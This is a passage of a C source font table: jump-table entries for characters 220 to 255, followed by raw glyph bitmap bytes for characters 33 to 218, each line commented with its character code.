|
||||
0x09, 0x3A, 0x0E, 0x07, // 220:2362
|
||||
0x09, 0x48, 0x0D, 0x07, // 221:2376
|
||||
0x09, 0x55, 0x0D, 0x07, // 222:2389
|
||||
0x09, 0x62, 0x0C, 0x07, // 223:2402
|
||||
0x09, 0x6E, 0x0C, 0x07, // 224:2414
|
||||
0x09, 0x7A, 0x0C, 0x07, // 225:2426
|
||||
0x09, 0x86, 0x0C, 0x07, // 226:2438
|
||||
0x09, 0x92, 0x0C, 0x07, // 227:2450
|
||||
0x09, 0x9E, 0x0C, 0x07, // 228:2462
|
||||
0x09, 0xAA, 0x0C, 0x07, // 229:2474
|
||||
0x09, 0xB6, 0x0C, 0x07, // 230:2486
|
||||
0x09, 0xC2, 0x0C, 0x07, // 231:2498
|
||||
0x09, 0xCE, 0x0C, 0x07, // 232:2510
|
||||
0x09, 0xDA, 0x0C, 0x07, // 233:2522
|
||||
0x09, 0xE6, 0x0C, 0x07, // 234:2534
|
||||
0x09, 0xF2, 0x0C, 0x07, // 235:2546
|
||||
0x09, 0xFE, 0x0C, 0x07, // 236:2558
|
||||
0x0A, 0x0A, 0x0C, 0x07, // 237:2570
|
||||
0x0A, 0x16, 0x0C, 0x07, // 238:2582
|
||||
0x0A, 0x22, 0x0C, 0x07, // 239:2594
|
||||
0x0A, 0x2E, 0x0C, 0x07, // 240:2606
|
||||
0x0A, 0x3A, 0x0C, 0x07, // 241:2618
|
||||
0x0A, 0x46, 0x0C, 0x07, // 242:2630
|
||||
0x0A, 0x52, 0x0C, 0x07, // 243:2642
|
||||
0x0A, 0x5E, 0x0C, 0x07, // 244:2654
|
||||
0x0A, 0x6A, 0x0C, 0x07, // 245:2666
|
||||
0x0A, 0x76, 0x0C, 0x07, // 246:2678
|
||||
0x0A, 0x82, 0x0C, 0x07, // 247:2690
|
||||
0x0A, 0x8E, 0x0C, 0x07, // 248:2702
|
||||
0x0A, 0x9A, 0x0C, 0x07, // 249:2714
|
||||
0x0A, 0xA6, 0x0C, 0x07, // 250:2726
|
||||
0x0A, 0xB2, 0x0C, 0x07, // 251:2738
|
||||
0x0A, 0xBE, 0x0C, 0x07, // 252:2750
|
||||
0x0A, 0xCA, 0x0B, 0x07, // 253:2762
|
||||
0x0A, 0xD5, 0x0C, 0x07, // 254:2773
|
||||
0x0A, 0xE1, 0x0B, 0x07, // 255:2785
|
||||
|
||||
// Font Data:
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x0D, // 33
|
||||
0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x38, // 34
|
||||
0x00, 0x02, 0x40, 0x0E, 0xE0, 0x03, 0x50, 0x0A, 0xC0, 0x07, 0x70, 0x02, 0x40, // 35
|
||||
0x00, 0x00, 0xE0, 0x04, 0x90, 0x08, 0xF8, 0x3F, 0x10, 0x09, 0x20, 0x07, // 36
|
||||
0x30, 0x00, 0x48, 0x01, 0x48, 0x01, 0xB0, 0x06, 0x80, 0x09, 0x40, 0x09, 0x00, 0x06, // 37
|
||||
0x00, 0x00, 0x00, 0x07, 0xF0, 0x0C, 0xC8, 0x08, 0x08, 0x0B, 0x08, 0x06, 0x00, 0x0B, // 38
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, // 39
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x03, 0x1C, 0x1C, 0x04, 0x10, // 40
|
||||
0x00, 0x00, 0x00, 0x00, 0x04, 0x10, 0x1C, 0x1C, 0xE0, 0x03, // 41
|
||||
0x00, 0x00, 0x90, 0x00, 0x60, 0x00, 0xF8, 0x01, 0x60, 0x00, 0x90, // 42
|
||||
0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0xE0, 0x0F, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 43
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x0C, // 44
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 45
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, // 46
|
||||
0x00, 0x00, 0x00, 0x10, 0x00, 0x0C, 0x00, 0x03, 0xC0, 0x00, 0x30, 0x00, 0x08, // 47
|
||||
0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x88, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 48
|
||||
0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x0F, 0x00, 0x08, 0x00, 0x08, // 49
|
||||
0x00, 0x00, 0x10, 0x08, 0x08, 0x0C, 0x08, 0x0A, 0x08, 0x09, 0x88, 0x08, 0x70, 0x08, // 50
|
||||
0x00, 0x00, 0x10, 0x04, 0x08, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 51
|
||||
0x00, 0x00, 0x00, 0x03, 0xC0, 0x02, 0x60, 0x02, 0x18, 0x02, 0xF8, 0x0F, 0x00, 0x02, // 52
|
||||
0x00, 0x00, 0x78, 0x04, 0x48, 0x08, 0x48, 0x08, 0x48, 0x08, 0xC8, 0x0C, 0x80, 0x07, // 53
|
||||
0x00, 0x00, 0xE0, 0x03, 0x90, 0x0C, 0x48, 0x08, 0x48, 0x08, 0xC8, 0x0C, 0x90, 0x07, // 54
|
||||
0x00, 0x00, 0x08, 0x00, 0x08, 0x08, 0x08, 0x06, 0x88, 0x01, 0x78, 0x00, 0x18, // 55
|
||||
0x00, 0x00, 0x70, 0x07, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 56
|
||||
0x00, 0x00, 0xF0, 0x04, 0x18, 0x09, 0x08, 0x09, 0x08, 0x09, 0x98, 0x04, 0xE0, 0x03, // 57
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x0C, // 58
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xC0, 0x0C, // 59
|
||||
0x00, 0x00, 0x80, 0x01, 0x80, 0x01, 0x40, 0x02, 0x40, 0x02, 0x40, 0x02, 0x20, 0x04, // 60
|
||||
0x00, 0x00, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, // 61
|
||||
0x00, 0x00, 0x20, 0x04, 0x40, 0x02, 0x40, 0x02, 0x40, 0x02, 0x80, 0x01, 0x80, 0x01, // 62
|
||||
0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x88, 0x0D, 0xC8, 0x00, 0x48, 0x00, 0x30, // 63
|
||||
0x00, 0x00, 0xC0, 0x0F, 0x20, 0x18, 0x10, 0x23, 0x90, 0x24, 0xB0, 0x24, 0xE0, 0x07, // 64
|
||||
0x00, 0x00, 0x00, 0x0C, 0xC0, 0x03, 0x38, 0x02, 0x38, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 65
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 66
|
||||
0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x10, 0x04, // 67
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x10, 0x04, 0xE0, 0x03, // 68
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, // 69
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, // 70
|
||||
0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x08, 0x08, 0x08, 0x88, 0x08, 0x90, 0x07, // 71
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0xF8, 0x0F, // 72
|
||||
0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x0F, 0x08, 0x08, 0x08, 0x08, // 73
|
||||
0x00, 0x00, 0x00, 0x04, 0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x07, // 74
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x80, 0x00, 0xC0, 0x00, 0x20, 0x03, 0x10, 0x06, 0x08, 0x08, // 75
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, // 76
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x30, 0x00, 0xC0, 0x01, 0xC0, 0x01, 0x30, 0x00, 0xF8, 0x0F, // 77
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x18, 0x00, 0xE0, 0x00, 0x80, 0x03, 0x00, 0x0C, 0xF8, 0x0F, // 78
|
||||
0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 79
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x70, // 80
|
||||
0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x18, 0x3C, 0xE0, 0x07, // 81
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x01, 0x70, 0x06, // 82
|
||||
0x00, 0x00, 0x70, 0x04, 0xC8, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x10, 0x07, // 83
|
||||
0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0xF8, 0x0F, 0x08, 0x00, 0x08, 0x00, 0x08, // 84
|
||||
0x00, 0x00, 0xF8, 0x07, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xF8, 0x07, // 85
|
||||
0x00, 0x00, 0x18, 0x00, 0xE0, 0x01, 0x00, 0x0E, 0x00, 0x0E, 0xE0, 0x01, 0x18, // 86
|
||||
0xF8, 0x01, 0x00, 0x0E, 0xC0, 0x03, 0x30, 0x00, 0xC0, 0x03, 0x00, 0x0E, 0xF8, 0x01, // 87
|
||||
0x00, 0x00, 0x08, 0x08, 0x30, 0x06, 0xC0, 0x01, 0xC0, 0x01, 0x30, 0x06, 0x08, 0x08, // 88
|
||||
0x08, 0x00, 0x10, 0x00, 0x60, 0x00, 0x80, 0x0F, 0x60, 0x00, 0x10, 0x00, 0x08, // 89
|
||||
0x00, 0x00, 0x08, 0x0C, 0x08, 0x0E, 0x88, 0x09, 0xC8, 0x08, 0x38, 0x08, 0x18, 0x08, // 90
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFC, 0x1F, 0x04, 0x10, // 91
|
||||
0x00, 0x00, 0x08, 0x00, 0x30, 0x00, 0xC0, 0x00, 0x00, 0x03, 0x00, 0x0C, 0x00, 0x10, // 92
|
||||
0x00, 0x00, 0x00, 0x00, 0x04, 0x10, 0xFC, 0x1F, // 93
|
||||
0x20, 0x00, 0x10, 0x00, 0x08, 0x00, 0x08, 0x00, 0x10, 0x00, 0x20, // 94
|
||||
0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, // 95
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x08, // 96
|
||||
0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x20, 0x09, 0x20, 0x09, 0xC0, 0x0F, // 97
|
||||
0x00, 0x00, 0xFC, 0x0F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 98
|
||||
0x00, 0x00, 0xC0, 0x07, 0x60, 0x0C, 0x20, 0x08, 0x20, 0x08, 0x40, 0x08, // 99
|
||||
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xFC, 0x0F, // 100
|
||||
0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x20, 0x09, 0x20, 0x09, 0xC0, 0x05, // 101
|
||||
0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0xF8, 0x0F, 0x24, 0x00, 0x24, // 102
|
||||
0x00, 0x00, 0xC0, 0x07, 0x20, 0x28, 0x20, 0x48, 0x20, 0x48, 0xE0, 0x3F, // 103
|
||||
0x00, 0x00, 0xFC, 0x0F, 0x40, 0x00, 0x20, 0x00, 0x20, 0x00, 0xC0, 0x0F, // 104
|
||||
0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE4, 0x0F, 0x00, 0x08, 0x00, 0x08, // 105
|
||||
0x00, 0x00, 0x00, 0x00, 0x20, 0x40, 0x20, 0x40, 0xE4, 0x3F, // 106
|
||||
0x00, 0x00, 0xFC, 0x0F, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, 0x20, 0x08, // 107
|
||||
0x00, 0x00, 0x04, 0x00, 0x04, 0x00, 0xFC, 0x07, 0x00, 0x08, 0x00, 0x08, // 108
|
||||
0x00, 0x00, 0xE0, 0x0F, 0x20, 0x00, 0xE0, 0x0F, 0x20, 0x00, 0xE0, 0x0F, // 109
|
||||
0x00, 0x00, 0xE0, 0x0F, 0x40, 0x00, 0x20, 0x00, 0x20, 0x00, 0xC0, 0x0F, // 110
|
||||
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 111
|
||||
0x00, 0x00, 0xE0, 0x7F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 112
|
||||
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xE0, 0x7F, // 113
|
||||
0x00, 0x00, 0x00, 0x00, 0xE0, 0x0F, 0x60, 0x00, 0x20, 0x00, 0x20, 0x00, 0x40, // 114
|
||||
0x00, 0x00, 0xC0, 0x04, 0x20, 0x09, 0x20, 0x09, 0x20, 0x09, 0x40, 0x06, // 115
|
||||
0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0xF8, 0x0F, 0x20, 0x08, 0x20, 0x08, // 116
|
||||
0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xE0, 0x0F, // 117
|
||||
0x00, 0x00, 0x60, 0x00, 0x80, 0x03, 0x00, 0x0C, 0x80, 0x03, 0x60, // 118
|
||||
0x60, 0x00, 0x80, 0x03, 0x00, 0x0E, 0x80, 0x01, 0x00, 0x0E, 0x80, 0x03, 0x60, // 119
|
||||
0x00, 0x00, 0x20, 0x08, 0xC0, 0x06, 0x00, 0x01, 0xC0, 0x06, 0x20, 0x08, // 120
|
||||
0x00, 0x00, 0x60, 0x40, 0x80, 0x67, 0x00, 0x1C, 0x80, 0x03, 0x60, // 121
|
||||
0x00, 0x00, 0x20, 0x0C, 0x20, 0x0A, 0x20, 0x09, 0xA0, 0x08, 0x60, 0x08, // 122
|
||||
0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x7C, 0x1F, 0x04, 0x10, 0x04, 0x10, // 123
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFC, 0x3F, // 124
|
||||
0x00, 0x00, 0x04, 0x10, 0x04, 0x10, 0x7C, 0x1F, 0x80, 0x00, 0x80, // 125
|
||||
0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 126
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 127
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 128
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 129
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 130
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 131
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 132
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 133
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 134
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 135
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 136
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 137
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 138
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 139
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 140
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 141
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 142
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 143
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 144
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 145
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 146
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 147
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 148
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 149
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 150
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 151
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 152
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 153
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 154
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 155
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 156
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 157
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 158
|
||||
0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 159
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x3F, // 161
|
||||
0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0xF8, 0x3F, 0x20, 0x08, 0x40, 0x04, // 162
|
||||
0x00, 0x00, 0x80, 0x08, 0xF0, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x08, 0x08, // 163
|
||||
0x00, 0x00, 0x20, 0x04, 0xC0, 0x03, 0x40, 0x02, 0x40, 0x02, 0xC0, 0x03, 0x20, 0x04, // 164
|
||||
0x08, 0x00, 0x50, 0x01, 0x60, 0x01, 0x80, 0x0F, 0x60, 0x01, 0x50, 0x01, 0x08, // 165
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x3C, // 166
|
||||
0x00, 0x00, 0xF0, 0x11, 0x28, 0x13, 0x48, 0x12, 0xC8, 0x14, 0x88, 0x0F, // 167
|
||||
0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08, // 168
|
||||
0xC0, 0x01, 0x20, 0x02, 0xD0, 0x05, 0x50, 0x05, 0x50, 0x05, 0x20, 0x02, 0xC0, 0x01, // 169
|
||||
0x00, 0x00, 0xE8, 0x02, 0xA8, 0x02, 0xA8, 0x02, 0xF0, 0x02, // 170
|
||||
0x00, 0x00, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, // 171
|
||||
0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x03, // 172
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 173
|
||||
0xC0, 0x01, 0x20, 0x02, 0xD0, 0x05, 0xD0, 0x05, 0xD0, 0x05, 0x20, 0x02, 0xC0, 0x01, // 174
|
||||
0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, // 175
|
||||
0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x48, 0x00, 0x48, 0x00, 0x30, // 176
|
||||
0x80, 0x08, 0x80, 0x08, 0x80, 0x08, 0xE0, 0x0B, 0x80, 0x08, 0x80, 0x08, 0x80, 0x08, // 177
|
||||
0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xE8, 0x00, 0xB8, // 178
|
||||
0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xA8, 0x00, 0xA8, 0x00, 0xD8, // 179
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x04, // 180
|
||||
0x00, 0x00, 0xE0, 0x7F, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xE0, 0x0F, 0x00, 0x08, // 181
|
||||
0x00, 0x00, 0x70, 0x00, 0xF8, 0x00, 0xF8, 0x00, 0xF8, 0x1F, 0x08, 0x00, 0xF8, 0x1F, // 182
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x01, // 183
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0x30, // 184
|
||||
0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xF8, 0x00, 0x80, // 185
|
||||
0x00, 0x00, 0x70, 0x02, 0x88, 0x02, 0x88, 0x02, 0x70, 0x02, // 186
|
||||
0x00, 0x00, 0x40, 0x04, 0x80, 0x02, 0x00, 0x01, 0x40, 0x04, 0x80, 0x02, 0x00, 0x01, // 187
|
||||
0x44, 0x02, 0x7C, 0x03, 0x40, 0x01, 0x00, 0x0D, 0x80, 0x0B, 0x80, 0x1F, 0x00, 0x08, // 188
|
||||
0x44, 0x02, 0x7C, 0x03, 0x40, 0x01, 0x00, 0x11, 0x80, 0x1D, 0x80, 0x17, // 189
|
||||
0x00, 0x02, 0x44, 0x03, 0x54, 0x01, 0x54, 0x0D, 0xEC, 0x0B, 0x80, 0x1F, 0x00, 0x08, // 190
|
||||
0x00, 0x38, 0x00, 0x4C, 0x00, 0x44, 0x60, 0x43, 0x00, 0x20, // 191
|
||||
0x00, 0x00, 0x00, 0x0C, 0xC1, 0x03, 0x3A, 0x02, 0x38, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 192
|
||||
0x00, 0x00, 0x00, 0x0C, 0xC0, 0x03, 0x3A, 0x02, 0x39, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 193
|
||||
0x00, 0x00, 0x00, 0x0C, 0xC2, 0x03, 0x39, 0x02, 0x39, 0x02, 0xC2, 0x03, 0x00, 0x0C, // 194
|
||||
0x00, 0x00, 0x00, 0x0C, 0xC3, 0x03, 0x39, 0x02, 0x3A, 0x02, 0xC3, 0x03, 0x00, 0x0C, // 195
|
||||
0x00, 0x00, 0x00, 0x0C, 0xC2, 0x03, 0x38, 0x02, 0x38, 0x02, 0xC2, 0x03, 0x00, 0x0C, // 196
|
||||
0x00, 0x00, 0x00, 0x08, 0x00, 0x07, 0xFE, 0x02, 0xE6, 0x02, 0x00, 0x07, 0x00, 0x08, // 197
|
||||
0x00, 0x0C, 0x80, 0x03, 0x78, 0x02, 0x08, 0x02, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, // 198
|
||||
0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x28, 0x08, 0x28, 0x08, 0x38, 0x10, 0x04, // 199
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x89, 0x08, 0x8A, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, // 200
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x8A, 0x08, 0x89, 0x08, 0x88, 0x08, 0x88, 0x08, // 201
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x8A, 0x08, 0x89, 0x08, 0x89, 0x08, 0x8A, 0x08, 0x88, 0x08, // 202
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x8A, 0x08, 0x88, 0x08, 0x8A, 0x08, 0x88, 0x08, 0x88, 0x08, // 203
|
||||
0x00, 0x00, 0x08, 0x08, 0x09, 0x08, 0xFA, 0x0F, 0x08, 0x08, 0x08, 0x08, // 204
|
||||
0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xFA, 0x0F, 0x09, 0x08, 0x08, 0x08, // 205
|
||||
0x00, 0x00, 0x08, 0x08, 0x0A, 0x08, 0xF9, 0x0F, 0x0A, 0x08, 0x08, 0x08, // 206
|
||||
0x00, 0x00, 0x08, 0x08, 0x0A, 0x08, 0xF8, 0x0F, 0x0A, 0x08, 0x08, 0x08, // 207
|
||||
0x80, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x08, 0x08, 0x10, 0x04, 0xE0, 0x03, // 208
|
||||
0x00, 0x00, 0xF8, 0x0F, 0x1B, 0x00, 0xE1, 0x00, 0x82, 0x03, 0x03, 0x0C, 0xF8, 0x0F, // 209
|
||||
0x00, 0x00, 0xE0, 0x03, 0x19, 0x0C, 0x0A, 0x08, 0x08, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 210
|
||||
0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x0A, 0x08, 0x09, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 211
|
||||
0x00, 0x00, 0xE0, 0x03, 0x1A, 0x0C, 0x09, 0x08, 0x09, 0x08, 0x1A, 0x0C, 0xE0, 0x03, // 212
|
||||
0x00, 0x00, 0xE0, 0x03, 0x1B, 0x0C, 0x09, 0x08, 0x0A, 0x08, 0x1B, 0x0C, 0xE0, 0x03, // 213
|
||||
0x00, 0x00, 0xE0, 0x03, 0x1A, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x1A, 0x0C, 0xE0, 0x03, // 214
|
||||
0x00, 0x00, 0x20, 0x02, 0x40, 0x01, 0x80, 0x00, 0x40, 0x01, 0x20, 0x02, // 215
|
||||
0x00, 0x08, 0xE0, 0x07, 0x18, 0x0E, 0x88, 0x09, 0x48, 0x08, 0x38, 0x0C, 0xF8, 0x03, // 216
|
||||
0x00, 0x00, 0xF8, 0x07, 0x01, 0x08, 0x02, 0x08, 0x00, 0x08, 0x00, 0x08, 0xF8, 0x07, // 217
|
||||
0x00, 0x00, 0xF8, 0x07, 0x00, 0x08, 0x02, 0x08, 0x01, 0x08, 0x00, 0x08, 0xF8, 0x07, // 218
|
||||
